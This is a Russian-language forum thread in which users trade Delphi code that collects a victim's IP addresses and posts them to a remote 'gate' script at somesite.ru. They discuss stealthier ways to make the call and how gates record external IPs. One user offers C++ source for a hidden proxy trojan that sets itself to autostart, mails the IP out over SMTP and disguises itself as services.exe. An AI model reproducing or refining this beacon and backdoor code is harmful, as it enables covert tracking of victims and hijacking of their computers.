узнаем ip, думаю с отправкой на мыло труда не составит. WinSock: Code: procedure TForm1.Button1Click(Sender: TObject); type InAddr = Array[0..10] of PInAddr; TInAddr = ^InAddr; var Host: PHostEnt; pPtr: TInAddr; Buffer: Array[0..63] of char; i: Integer; Socket: TWSAData; begin ListBox1.Clear; WSAStartup( $101, Socket ); GetHostName( Buffer, SizeOf( Buffer ) ); Host := GetHostByName( buffer ); if Host = nil then Exit; pPtr := TInAddr( Host^.h_addr_list ); i := 0; while pPtr^[i] <> nil do begin ListBox1.Items.Add( inet_ntoa( pPtr^[i]^ ) ); Inc( i ); end; WSACleanup; end;
уж не так то это и сложно)) Code: uses idHTTP; ........ Function LocalIP : string; type TaPInAddr = array [0..10] of PInAddr; PaPInAddr = ^TaPInAddr; var phe : PHostEnt; pptr : PaPInAddr; Buffer : array [0..63] of char; I : Integer; GInitData : TWSADATA; Begin WSAStartup($101, GInitData); Result := ''; GetHostName(Buffer, SizeOf(Buffer)); phe :=GetHostByName(buffer); if phe = nil then Exit; pptr := PaPInAddr(Phe^.h_addr_list); // Phe^.h_addr_list - должен содержать IPдля всех интерфейсов. I := 0; while pptr^[I] <> nil do begin // приводим их по очерёдности к нормальному виду Result := Result + StrPas(inet_ntoa(pptr^[I]^)) + '#10#13' ; Inc(I); end; WSACleanup; End; // процедура для отсылки Ip на гейт procedure SendIp; var HTTP : TidHTTP; Str : TStringList; begin HTTP := TidHTTP.Create(nil); Str := TStringList.Create; Str.Add('ip=' + LocalIp); HTTP.Post('http://somesite.ru/gate.php', str); Str.free; HTTP.Free; end; end;
2 RedFern.89 ты чтоли помешан на инди? Нахрена ты его используешь там где нужно и там где не нужно? Зачем отсылать POST запрос. Тут данных не очень много. Пойдет и GET запрос. В данной сетуации нужно просто тупо вызвать URLDownloadToCacheFile из urlmon которая запросит страницу и результат кинет в кеш. Один хер результаты не нужны
да и не факт что у жертвы есть внешний айпи.. вдруг у чела роутер/модем? тогда к тебе на почту придет только айпишник локальный.. 192.168.*.*
2 [stranger] ну по этому и юзаются гейты и потому подобные прелести. Потому что ты отошлешь все IP которые были определены на компе, а гейт еще и сохранит IP с которого пришли данные. И таким образом можно сравнить есть ли внешний IP или нет.
был у меня такой геморой. писал на с++. держи исходник прокси на с++ (codegear c++ 2009) софтину писал ещё на 1 курсе, такчто код кривоват -прописывается в автозагрузку -открывает на компе http прокси -определяет локальный ип и отсылает на мыло(smtp) -не виден в диспетчере. в процесах прописан как services.exe